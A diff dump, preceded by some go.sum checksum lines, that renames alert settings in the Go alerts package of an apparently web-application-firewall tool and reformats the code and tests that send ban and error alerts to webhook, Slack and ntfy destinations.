github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY= github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
github.com/sagikazarmark/locafero v0.11.0 h1:1iurJgmM9G3PA/I+wWYIOw/5SyBtxapeHDcg+AAIFXc=
github.com/sagikazarmark/locafero v0.11.0/go.mod h1:nVIGvgyzw595SUSUE6tvCp3YYTeHs15MvlmU87WwIik=
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 h1:+jumHNA0Wrelhe64i8F6HNlS8pkoyMv5sreGx2Ry5Rw=
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8/go.mod h1:3n1Cwaq1E1/1lhQhtRK2ts/ZwZEhjcQeJQ1RuC6Q/8U=
github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I=
github.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg=
github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY=
github.com/spf13/cast v1.10.0/go.mod h1:jNfB8QC9IA6ZuY2ZjDp0KtFO2LZZlg4S/7bzP6qqeHo=
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU=
github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY=
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE= github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg= github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
+47 -86
View File
@@ -1,12 +1,12 @@
// Package alerts sends alerts on bans, on traffic over an anomaly // Package alerts sends alerts on bans, on traffic over an anomaly
// threshold, on a source that fails and on a file with an error to each // threshold, on a source that fails and on a file with an error to each
// destination set: to the webhook // destination set: to the webhook
// SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON // SWW_WAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
// object" in docs/alerts.md describes, to the Slack incoming // object" in docs/alerts.md describes, to the Slack incoming
// webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the // webhook SWW_WAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
// ntfy topic SWW_ALERT_NTFY_URL names. A repeat within // ntfy topic SWW_WAF_ALERT_NTFY_URL names. A repeat within
// SWW_ALERT_COOLDOWN is held back, and so is an alert past // SWW_WAF_ALERT_COOLDOWN is held back, and so is an alert past
// SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a // SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
// bounded queue of each destination's own, so that a destination that is // bounded queue of each destination's own, so that a destination that is
// slow or unreachable holds up neither the others nor any request. The // slow or unreachable holds up neither the others nor any request. The
// state is written to alerts.json and read from it by the state package. // state is written to alerts.json and read from it by the state package.
@@ -34,7 +34,7 @@ import (
"time" "time"
) )
// The events an alert is for, as SWW_ALERT_EVENTS names them. // The events an alert is for, as SWW_WAF_ALERT_EVENTS names them.
const ( const (
// EventBan is a ban sww made. // EventBan is a ban sww made.
EventBan = "ban" EventBan = "ban"
@@ -45,7 +45,7 @@ const (
// threshold. // threshold.
EventAnomaly = "anomaly" EventAnomaly = "anomaly"
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over // EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
// SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode. // detect mode.
EventCoreRuleSetMatch = "core_rule_set_match" EventCoreRuleSetMatch = "core_rule_set_match"
// EventReputationHit is a request whose client a blocklist, the // EventReputationHit is a request whose client a blocklist, the
@@ -63,14 +63,14 @@ const (
// - a replacement of the lookup database that cannot be read. // - a replacement of the lookup database that cannot be read.
EventFileError = "file_error" EventFileError = "file_error"
// EventSummary is the summary sent as an hour ends: of the alerts held // EventSummary is the summary sent as an hour ends: of the alerts held
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held // back in it past SWW_WAF_ALERT_MAX_PER_HOUR, and of the repeats held
// back by the cooldowns dropped as it ends, which no alert let through // back by the cooldowns dropped as it ends, which no alert let through
// has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for // has given. It is sent with SWW_WAF_ALERT_MAX_PER_HOUR off too, for
// those repeats. SWW_ALERT_EVENTS does not name it. // those repeats. SWW_WAF_ALERT_EVENTS does not name it.
EventSummary = "summary" EventSummary = "summary"
) )
// Events returns every event SWW_ALERT_EVENTS can name, which is its // Events returns every event SWW_WAF_ALERT_EVENTS can name, which is its
// default. // default.
func Events() []string { func Events() []string {
return []string{ return []string{
@@ -82,12 +82,12 @@ func Events() []string {
// The destinations alerts are sent to, as the metrics and alerts.json // The destinations alerts are sent to, as the metrics and alerts.json
// name them. // name them.
const ( const (
// DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names. // DestinationWebhook is the webhook SWW_WAF_ALERT_WEBHOOK_URL names.
DestinationWebhook = "webhook" DestinationWebhook = "webhook"
// DestinationSlack is the Slack incoming webhook // DestinationSlack is the Slack incoming webhook
// SWW_ALERT_SLACK_WEBHOOK_URL names. // SWW_WAF_ALERT_SLACK_WEBHOOK_URL names.
DestinationSlack = "slack" DestinationSlack = "slack"
// DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names. // DestinationNtfy is the ntfy topic SWW_WAF_ALERT_NTFY_URL names.
DestinationNtfy = "ntfy" DestinationNtfy = "ntfy"
) )
@@ -123,26 +123,26 @@ var (
// NtfyURL set, no alert is sent. // NtfyURL set, no alert is sent.
type Params struct { type Params struct {
// WebhookURL is where each alert is posted as JSON // WebhookURL is where each alert is posted as JSON
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders // (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS). // are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
WebhookURL *url.URL WebhookURL *url.URL
WebhookHeaders http.Header WebhookHeaders http.Header
// SlackURL is the Slack incoming webhook each alert is posted to as a // SlackURL is the Slack incoming webhook each alert is posted to as a
// message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset. // message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
SlackURL *url.URL SlackURL *url.URL
// NtfyURL is the ntfy topic each alert is published to // NtfyURL is the ntfy topic each alert is published to
// (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless // (SWW_WAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
// empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN). // empty, is sent with each as a bearer token (SWW_WAF_ALERT_NTFY_TOKEN).
NtfyURL *url.URL NtfyURL *url.URL
NtfyToken string NtfyToken string
// Events are the events alerts are sent for (SWW_ALERT_EVENTS). // Events are the events alerts are sent for (SWW_WAF_ALERT_EVENTS).
Events []string Events []string
// Cooldown is how long a repeat of an alert is held back // Cooldown is how long a repeat of an alert is held back
// (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts // (SWW_WAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
// sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit. // sent in an hour (SWW_WAF_ALERT_MAX_PER_HOUR), 0 for no limit.
Cooldown time.Duration Cooldown time.Duration
MaxPerHour int MaxPerHour int
// Instance is SWW_INSTANCE_NAME, which every alert gives. // Instance is SWW_WAF_INSTANCE_NAME, which every alert gives.
Instance string Instance string
// Now tells the time of an alert, normally time.Now in UTC. // Now tells the time of an alert, normally time.Now in UTC.
Now func() time.Time Now func() time.Time
@@ -291,15 +291,7 @@ func cooldownKeyOf(alert *Alert) cooldownKey {
asn, _ := alert.Detail["asn"].(string) asn, _ := alert.Detail["asn"].(string)
name, _ := alert.Detail["name"].(string) name, _ := alert.Detail["name"].(string)
return cooldownKey{ return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
alert.Event,
alert.Netblock,
file,
source,
scope,
asn,
name,
}
} }
// New returns a Queue with no alert yet. // New returns a Queue with no alert yet.
@@ -311,17 +303,17 @@ func New(params Params) *Queue {
} }
if params.WebhookURL != nil { if params.WebhookURL != nil {
q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL", q.addDestination(DestinationWebhook, "SWW_WAF_ALERT_WEBHOOK_URL",
params.WebhookURL, q.webhookMessage) params.WebhookURL, q.webhookMessage)
} }
if params.SlackURL != nil { if params.SlackURL != nil {
q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL", q.addDestination(DestinationSlack, "SWW_WAF_ALERT_SLACK_WEBHOOK_URL",
params.SlackURL, slackMessage) params.SlackURL, slackMessage)
} }
if params.NtfyURL != nil { if params.NtfyURL != nil {
q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL", q.addDestination(DestinationNtfy, "SWW_WAF_ALERT_NTFY_URL",
params.NtfyURL, q.ntfyMessage) params.NtfyURL, q.ntfyMessage)
} }
@@ -329,7 +321,7 @@ func New(params Params) *Queue {
} }
// Raise sends alert, which names its event and what is particular to it, // Raise sends alert, which names its event and what is particular to it,
// unless no destination is set or SWW_ALERT_EVENTS leaves its event // unless no destination is set or SWW_WAF_ALERT_EVENTS leaves its event
// out. It gives alert the instance and the time. An alert that repeats // out. It gives alert the instance and the time. An alert that repeats
// the last one let through less than Cooldown before is held back and // the last one let through less than Cooldown before is held back and
// counted. The next one let through gives that count, unless an hour of // counted. The next one let through gives that count, unless an hour of
@@ -341,8 +333,7 @@ func New(params Params) *Queue {
// queue of each destination, from which Run sends it, and with queueSize // queue of each destination, from which Run sends it, and with queueSize
// alerts waiting for a destination, the oldest is dropped. // alerts waiting for a destination, the oldest is dropped.
func (q *Queue) Raise(alert Alert) { func (q *Queue) Raise(alert Alert) {
if len(q.destinations) == 0 || if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
!slices.Contains(q.params.Events, alert.Event) {
return return
} }
@@ -374,7 +365,7 @@ func (q *Queue) Raise(alert Alert) {
} }
// WouldSend reports whether Raise would let an alert for event on // WouldSend reports whether Raise would let an alert for event on
// netblock through now: a destination is set, SWW_ALERT_EVENTS chooses // netblock through now: a destination is set, SWW_WAF_ALERT_EVENTS chooses
// event, no alert for event on netblock was let through less than // event, no alert for event on netblock was let through less than
// Cooldown before, and fewer than MaxPerHour alerts have been let through // Cooldown before, and fewer than MaxPerHour alerts have been let through
// in the hour under way. Unlike Raise, it counts nothing. // in the hour under way. Unlike Raise, it counts nothing.
@@ -389,8 +380,7 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
now := q.params.Now() now := q.params.Now()
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}] last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
if q.params.Cooldown > 0 && found && if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
now.Sub(last.Sent) < q.params.Cooldown {
return false return false
} }
@@ -484,15 +474,10 @@ func (q *Queue) Snapshot() State {
} }
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int { slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
return cmp.Or( return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
a.Netblock.Compare(b.Netblock), cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
cmp.Compare(a.Event, b.Event), cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.File, b.File), cmp.Compare(a.Name, b.Name))
cmp.Compare(a.Source, b.Source),
cmp.Compare(a.Scope, b.Scope),
cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name),
)
}) })
for _, d := range q.destinations { for _, d := range q.destinations {
@@ -624,17 +609,14 @@ func (q *Queue) endHour(now time.Time) {
var reasons []string var reasons []string
if heldBack > 0 { if heldBack > 0 {
reasons = append( reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
reasons, "past the %d an hour SWW_WAF_ALERT_MAX_PER_HOUR allows", heldBack,
fmt.Sprintf("%d alerts held back in the hour from %s, "+ q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
)
} }
if repeats > 0 { if repeats > 0 {
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+ reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
"SWW_ALERT_COOLDOWN that no later alert gives", repeats)) "SWW_WAF_ALERT_COOLDOWN that no later alert gives", repeats))
} }
if len(reasons) > 0 { if len(reasons) > 0 {
@@ -708,19 +690,12 @@ func (d *destination) run(ctx context.Context) {
case ctx.Err() == nil: // not cut off as sww stops case ctx.Err() == nil: // not cut off as sww stops
d.sendFailures.Add(1) d.sendFailures.Add(1)
retryDelay = min( retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
max(retryDelayFactor*retryDelay, firstRetryDelay), maxRetryDelay)
maxRetryDelay,
)
retryAt = time.Now().Add(retryDelay) retryAt = time.Now().Add(retryDelay)
d.processLog.Warn( d.processLog.Warn("sending an alert to "+d.setting+" failed",
"sending an alert to "+d.setting+" failed", "error", err.Error(), "sending_again_in", retryDelay.String())
"error",
err.Error(),
"sending_again_in",
retryDelay.String(),
)
} }
} }
} }
@@ -808,12 +783,8 @@ func (d *destination) send(ctx context.Context, alert *Alert) error {
ctx, cancel := context.WithTimeout(ctx, sendTimeout) ctx, cancel := context.WithTimeout(ctx, sendTimeout)
defer cancel() defer cancel()
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
ctx, bytes.NewReader(body))
http.MethodPost,
d.url.String(),
bytes.NewReader(body),
)
if err != nil { if err != nil {
return fmt.Errorf("make the request: %w", err) return fmt.Errorf("make the request: %w", err)
} }
@@ -867,14 +838,7 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
// in JSON: its title in bold, then its text, with &, < and > escaped, as // in JSON: its title in bold, then its text, with &, < and > escaped, as
// Slack asks, so that nothing in them is read as a link or a mention. // Slack asks, so that nothing in them is read as a link or a mention.
func slackMessage(alert *Alert) ([]byte, http.Header, error) { func slackMessage(alert *Alert) ([]byte, http.Header, error) {
escape := strings.NewReplacer( escape := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;").Replace
"&",
"&amp;",
"<",
"&lt;",
">",
"&gt;",
).Replace
body, err := json.Marshal(map[string]string{ body, err := json.Marshal(map[string]string{
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)), "text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
@@ -972,10 +936,7 @@ func text(alert *Alert) string {
} }
if alert.SuppressedRepeats > 0 { if alert.SuppressedRepeats > 0 {
lines = append( lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
lines,
fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats),
)
} }
return strings.Join(lines, "\n") return strings.Join(lines, "\n")
+99 -323
View File
@@ -65,10 +65,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
Netblock: netip.MustParsePrefix("203.0.113.0/24"), Netblock: netip.MustParsePrefix("203.0.113.0/24"),
Country: "DE", Country: "DE",
Reason: "requests per minute over the limit of 1000", Reason: "requests per minute over the limit of 1000",
Detail: map[string]any{ Detail: map[string]any{"cause": "limit", "ban_expires": anHourOn},
"cause": "limit",
"ban_expires": anHourOn,
},
}) })
synctest.Wait() synctest.Wait()
@@ -78,12 +75,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
} }
if got[0].method != http.MethodPost || got[0].url != webhookURL { if got[0].method != http.MethodPost || got[0].url != webhookURL {
t.Errorf( t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL)
"request %s %s, want POST %s",
got[0].method,
got[0].url,
webhookURL,
)
} }
for name, want := range map[string]string{ for name, want := range map[string]string{
@@ -92,29 +84,21 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
"X-Team": "ops", "X-Team": "ops",
} { } {
if got[0].header.Get(name) != want { if got[0].header.Get(name) != want {
t.Errorf( t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want)
"header %s is %q, want %q",
name,
got[0].header.Get(name),
want,
)
} }
} }
wantAlert(t, got[0].alert, map[string]any{ wantAlert(t, got[0].alert, map[string]any{
"instance": instance, "instance": instance,
"time": started, "time": started,
"event": "ban", "event": "ban",
"client": "203.0.113.9", "client": "203.0.113.9",
"netblock": "203.0.113.0/24", "netblock": "203.0.113.0/24",
"asn": "", "asn": "",
"as_name": "", "as_name": "",
"country": "DE", "country": "DE",
"reason": "requests per minute over the limit of 1000", "reason": "requests per minute over the limit of 1000",
"detail": map[string]any{ "detail": map[string]any{"cause": "limit", "ban_expires": anHourOn},
"cause": "limit",
"ban_expires": anHourOn,
},
"suppressed_repeats": float64(0), "suppressed_repeats": float64(0),
}) })
wantCounts(t, q, 1, 0, 0, 0) wantCounts(t, q, 1, 0, 0, 0)
@@ -126,25 +110,12 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
params := newParams() params := newParams()
params.Events = []string{ params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
alerts.EventSourceFailure,
alerts.EventFileError,
}
webhook, q := start(t, params) webhook, q := start(t, params)
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
alerts.Alert{ q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)})
Event: alerts.EventFileError,
Reason: "a file error",
},
)
q.Raise(
alerts.Alert{
Event: alerts.EventPermanentBan,
Netblock: netblock(1),
},
)
synctest.Wait() synctest.Wait()
wantEvents(t, webhook, alerts.EventFileError) wantEvents(t, webhook, alerts.EventFileError)
@@ -156,17 +127,12 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
t.Parallel() t.Parallel()
params := newParams() params := newParams()
params.Events = []string{ params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
alerts.EventSourceFailure,
alerts.EventFileError,
}
q := alerts.New(params) q := alerts.New(params)
if q.WouldSend(alerts.EventBan, netblock(1)) || if q.WouldSend(alerts.EventBan, netblock(1)) ||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) { q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
t.Error( t.Error("a ban alert would be sent, though SWW_WAF_ALERT_EVENTS leaves it out")
"a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out",
)
} }
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) { if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
@@ -218,14 +184,11 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
onlyNtfy.NtfyURL = parseURL(ntfyURL) onlyNtfy.NtfyURL = parseURL(ntfyURL)
for setting, params := range map[string]alerts.Params{ for setting, params := range map[string]alerts.Params{
"SWW_ALERT_SLACK_WEBHOOK_URL": onlySlack, "SWW_WAF_ALERT_SLACK_WEBHOOK_URL": onlySlack,
"SWW_ALERT_NTFY_URL": onlyNtfy, "SWW_WAF_ALERT_NTFY_URL": onlyNtfy,
} { } {
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) { if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
t.Errorf( t.Errorf("a ban alert would not be sent with only %s set", setting)
"a ban alert would not be sent with only %s set",
setting,
)
} }
} }
} }
@@ -262,14 +225,8 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
synctest.Wait() synctest.Wait()
got := webhook.received() got := webhook.received()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan,
t, alerts.EventBan)
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventPermanentBan,
alerts.EventBan,
)
for i, want := range []struct { for i, want := range []struct {
netblock int netblock int
@@ -278,14 +235,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
alert := got[i].alert alert := got[i].alert
if alert["netblock"] != netblock(want.netblock).String() || if alert["netblock"] != netblock(want.netblock).String() ||
alert["suppressed_repeats"] != want.repeats { alert["suppressed_repeats"] != want.repeats {
t.Errorf( t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i,
"alert %d is for %v with %v repeats, want %s with %v", alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock),
i, want.repeats)
alert["netblock"],
alert["suppressed_repeats"],
netblock(want.netblock),
want.repeats,
)
} }
} }
@@ -293,9 +245,7 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
}) })
} }
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource( func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -303,11 +253,8 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
webhook, q := start(t, params) webhook, q := start(t, params)
fileError := func(file string) alerts.Alert { fileError := func(file string) alerts.Alert {
return alerts.Alert{ return alerts.Alert{
Event: alerts.EventFileError, Event: alerts.EventFileError,
Detail: map[string]any{ Detail: map[string]any{"file": file, "error": "line 2: an error"},
"file": file,
"error": "line 2: an error",
},
} }
} }
sourceFailure := func(source string) alerts.Alert { sourceFailure := func(source string) alerts.Alert {
@@ -338,11 +285,7 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb", "/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
} }
if !slices.Equal(got, want) { if !slices.Equal(got, want) {
t.Errorf( t.Errorf("the webhook was sent alerts for %v, want %v", got, want)
"the webhook was sent alerts for %v, want %v",
got,
want,
)
} }
wantCounts(t, q, 4, 0, 2, 0) wantCounts(t, q, 4, 0, 2, 0)
@@ -355,12 +298,8 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
after.Raise(fileError("/rules.d/50-c.rules")) after.Raise(fileError("/rules.d/50-c.rules"))
waiting := after.Snapshot().Waiting[alerts.DestinationWebhook] waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
waiting[0].Detail["file"] != "/rules.d/50-c.rules" { t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting)
t.Errorf(
"after loading, alerts wait %+v, want the one for 50-c.rules",
waiting,
)
} }
}) })
} }
@@ -397,12 +336,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)})
alerts.Alert{
Event: alerts.EventPermanentBan,
Netblock: netblock(4),
},
)
q.Raise(alerts.Alert{Event: alerts.EventFileError}) q.Raise(alerts.Alert{Event: alerts.EventFileError})
// The summary is sent as the hour ends, and not before. // The summary is sent as the hour ends, and not before.
@@ -412,13 +346,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary)
t,
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventSummary,
)
summary := webhook.received()[2].alert summary := webhook.received()[2].alert
wantAlert(t, summary, map[string]any{ wantAlert(t, summary, map[string]any{
@@ -431,14 +359,12 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
"as_name": "", "as_name": "",
"country": "", "country": "",
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " + "reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
"past the 2 an hour SWW_ALERT_MAX_PER_HOUR allows", "past the 2 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows",
"detail": map[string]any{ "detail": map[string]any{
"hour": started, "hour": started,
"count": float64(3), "count": float64(3),
"events": map[string]any{ "events": map[string]any{
"ban": float64( "ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1),
1,
), "permanent_ban": float64(1), "file_error": float64(1),
}, },
}, },
"suppressed_repeats": float64(0), "suppressed_repeats": float64(0),
@@ -449,21 +375,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
time.Sleep(time.Hour) time.Sleep(time.Hour)
synctest.Wait() synctest.Wait()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary,
t, alerts.EventBan)
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventSummary,
alerts.EventBan,
)
wantCounts(t, q, 4, 0, 3, 0) wantCounts(t, q, 4, 0, 3, 0)
}) })
} }
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary( func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -471,9 +389,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
params.MaxPerHour = 1 params.MaxPerHour = 1
webhook, q := start(t, params) webhook, q := start(t, params)
raise := func() { raise := func() {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
} }
// The hour's one alert, and two repeats the cooldown holds back. // The hour's one alert, and two repeats the cooldown holds back.
@@ -492,13 +408,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
raise() raise()
synctest.Wait() synctest.Wait()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan)
t,
webhook,
alerts.EventBan,
alerts.EventSummary,
alerts.EventBan,
)
got := webhook.received() got := webhook.received()
if len(got) == 3 { if len(got) == 3 {
